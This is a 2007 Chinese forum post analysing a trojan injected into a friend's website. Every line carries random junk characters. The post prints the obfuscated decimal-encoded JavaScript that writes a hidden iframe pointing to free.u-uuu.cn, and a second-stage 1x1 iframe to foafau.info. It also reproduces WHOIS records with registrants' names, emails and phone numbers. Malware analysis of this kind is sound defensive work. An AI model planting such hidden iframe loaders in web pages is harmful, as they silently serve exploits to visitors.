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[原创]一篇刚写的分析木马手记

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首发在我的博客里面,  0=6/yc  
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http://www.areway.cn/?p=175 cs_}&!c{  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: -NM0LTF  
          hPdx(E)8!d  
<script>t=’60,105,102,114,97,109,101, H5nS%D  
32,115,114,99,61,104,116,116,112,58,47,47, Y/U{Qc\ 6  
102,114,101,101,46,117,45,117,117,117,46,99, ivrXwZ7jT  
110,47,101,114,114,111,114,46,104,116,109, h ?#@~  
32,119,105,100,116,104,61,49,48,48,32,104, jB@4b 'y  
101,105,103,104,116,61,48,62,60,47,105,102, !rTmR@e$/  
114,97,109,101,62′; (:\LWJX0=  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> G+"8l!dC?  
                                                                                                  (U87}}/l  
<script>t=’60,105,102,114,97,109,101,32,115, ;RN8\re  
114,99,61,104,116,116,112,58,47,47,102,114, m-1?\bs  
101,101,46,117,45,117,117,117,46,99,110,47, _MYx%Z  
101,114,114,111,114,46,104,116,109,32,119, ;?IT)sNY  
105,100,116,104,61,49,48,48,32,104,101,105, `Y3(~~YGn  
103,104,116,61,48,62,60,47,105,102,114,97, }qC SS<a  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); H3 m8  
document.write(t);</script> 3vJ12=  
                                                                                                  d*;$AYI#R  
<html xmlns=” hSqMaX%G  
http://www.w3.org/1999/xhtml ;R[&pDx  
“> MV+i{]  
<head> 3;$bS<>  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> PDw{R]V+  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> BSXdvI1y  
<title>首页 - 爱生活家庭网 +lp{#1q0  
                                                                                                                                                    4/wwn6I}G  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。  Iao[Pyk  
转换字符串后的大概内容是(谁点击后果自付): bY#;E;'7  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… _|n=cC4Qu  
                                                                                                                                  t&c&KFK)I&  
查询玉米u-uuu.cn的详细信息: pZ+j[!  
Domain Name: u-uuu.cn T$b\Q  
ROID: 20070901s10001s64972306-cn D6=HYqdj  
Domain Status: ok BpT"~4oV5  
Registrant Organization: 王雷 qj?2%mK`  
Registrant Name: 王雷 Sa]Ek*  
Administrative Email: czlovexs@126.com V 4qtaHf  
Sponsoring Registrar: 北京万网志成科技有限公司 5RA<Z.  
Name Server:ns.yovole.com o+)A'S  
Name Server:ns1.yovole.com /)1v9<vM"  
Registration Date: 2007-09-01 17:54 ]XrE  
Expiration Date: 2008-09-01 17:54 6$B'Q30}r  
最后PING了一下地址 都没有什么…. LZ&uj{ <  
                                                                                                b!~TAT&8  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套.  *q"G }  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> 5~\Kj#PBx  
<script language=”javascript” src=” aR(E7mXQ  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 'yT`ef  
> :{CFTc5:A  
这个玉米应该有可能是木马作者的: '\4fU%  
foafau.info的详细信息: \JU ~k5j  
Access to INFO WHOIS information is provided to assist persons in h=f6~5l5  
determining the contents of a domain name registration record in the _O 52ai><b  
Afilias registry database. The data in this record is provided by ec?1c&E  
Afilias Limited for informational purposes only, and Afilias does not \|{*arS  
guarantee its accuracy.  This service is intended only for query-based 7t4v~'h;5e  
access. You agree that you will use this data only for lawful purposes w~v<v&  
and that, under no circumstances will you use this data to: (a) allow, <;KRj85"j  
enable, or otherwise support the transmission by e-mail, telephone, or u[`v&e  
facsimile of mass unsolicited, commercial advertising or solicitations i wz` x  
to entities other than the data recipient’s own existing customers; or  M]0^ind  
(b) enable high volume, automated, electronic processes that send nL;K|W  
queries or data to the systems of Registry Operator, a Registrar, or XqFu(Lm8=  
Afilias except as reasonably necessary to register domain names or Rrz'(KSDw  
modify existing registrations. All rights reserved. Afilias reserves U+!UL5k  
the right to modify these terms at any time. By submitting this query, U2&HSE|2J  
you agree to abide by this policy. T#e4": A&x  
Domain ID:D22418703-LRMS q}Rlo/R  
Domain Name:FOAFAU.INFO ~|=rwDBZ8l  
Created On:20-Nov-2007 16:05:42 UTC R"Y?iZed3  
Last Updated On:20-Nov-2007 16:05:44 UTC jlRS:$|R0  
Expiration Date:20-Nov-2008 16:05:42 UTC ||gEs/6-  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) vU9~[I`^p  
Status:CLIENT DELETE PROHIBITED }wkaQQh  
Status:CLIENT RENEW PROHIBITED -,@bA @&  
Status:CLIENT TRANSFER PROHIBITED =|# w.(3y  
Status:CLIENT UPDATE PROHIBITED -y<x!61  
Status:TRANSFER PROHIBITED rIp'vy S\p  
Registrant ID:GODA-040110615 gN\*Y  
Registrant Name:liu hong s;>VeD)*)  
Registrant Organization: :xN8R^(  
Registrant Street1:beijing ;Bnr=' [  
Registrant Street2: x?>!UqgkY  
Registrant Street3: P7Z<0Dt\}  
Registrant City:beijing T:)% P6/  
Registrant State/Province: ._K$0U!  
Registrant Postal Code:100000 hwZ6 .  
Registrant Country:CN 5^o3y.J?P  
Registrant Phone:+86.860108888777 .r6YrB@['  
Registrant Phone Ext.: vu>YH)N_h  
Registrant FAX: (JvQ-H  
Registrant FAX Ext.: Z_jn27AC  
Registrant Email:bbbshiji@163.com .='3bQ(UZ4  
Admin ID:GODA-240110615 `&G}  
Admin Name:liu hong johmJLC  
Admin Organization: L+(C5L93}  
Admin Street1:beijing #_,uE9  
Admin Street2: WxDb3l~  
Admin Street3: 7n [12:  
Admin City:beijing @C<d2f|8  
Admin State/Province: &V FjH W  
Admin Postal Code:100000 |Pj9ZG#  
Admin Country:CN ]#M/$?!]g2  
Admin Phone:+86.860108888777 H&u4v2  
Admin Phone Ext.: I4CHfs"ar  
Admin FAX: w2K Wa-BO  
Admin FAX Ext.: &Ky3Jb<:Gt  
Admin Email:bbbshiji@163.com ax;{MfsK  
Billing ID:GODA-340110615 T!&jFy*W  
Billing Name:liu hong ->Q`'@'|P  
Billing Organization: "?`JA7~g  
Billing Street1:beijing B[Ix?V4yy  
Billing Street2: kYmo7  
Billing Street3: sOjF?bCdO  
Billing City:beijing Skr iX\p  
Billing State/Province: s?~8O|Mu'  
Billing Postal Code:100000 B5 tx f.  
Billing Country:CN a5>)?m  
Billing Phone:+86.860108888777  }Olr  
Billing Phone Ext.: Qlf 9]ug)  
Billing FAX: SAQs {M  
Billing FAX Ext.: Kyyih|{  
Billing Email:bbbshiji@163.com 3[,wMy"  
Tech ID:GODA-140110615 K]%N-F>r  
Tech Name:liu hong \kfcv  
Tech Organization: IMw "eV  
Tech Street1:beijing oMz/sL'u  
Tech Street2: 5_PWGaQa  
Tech Street3: s&Z35IM8|  
Tech City:beijing p9k4w% ~:  
Tech State/Province: e2q pJ4i  
Tech Postal Code:100000 .<0=a|IAz  
Tech Country:CN 9PUa?Bc`=  
Tech Phone:+86.860108888777 tru;;.lj8K  
Tech Phone Ext.: fuQ4rt[i  
Tech FAX: (q~R5)D  
Tech FAX Ext.: ?'TA!MR  
Tech Email:bbbshiji@163.com Bmi:2} j  
Name Server:NS27.DOMAINCONTROL.COM J& n ^y  
Name Server:NS28.DOMAINCONTROL.COM 9$:QLE+t  
Name Server: -MQZiq7H4  
Name Server: B-B?Ff>  
Name Server: g"TPII$  
Name Server: :QxL 9&"  
Name Server: +p8qsT#7  
Name Server: T-hU+(+hg  
Name Server: 9*7Hoi4Ji  
Name Server: [0d-CEp[  
Name Server: H-;&xzAI  
Name Server: rsd2v9  
Name Server: ev)rOcOU  
                                                                                                          (ra:?B  
接着下载每个文件里面的代码: 3"HGEUqA  
一步一步看.. D)f5pEq'  
MT;SRAmUr  
6#OL ;Y]_  
T_(qN;_  
16a_GwfM  
" whO}  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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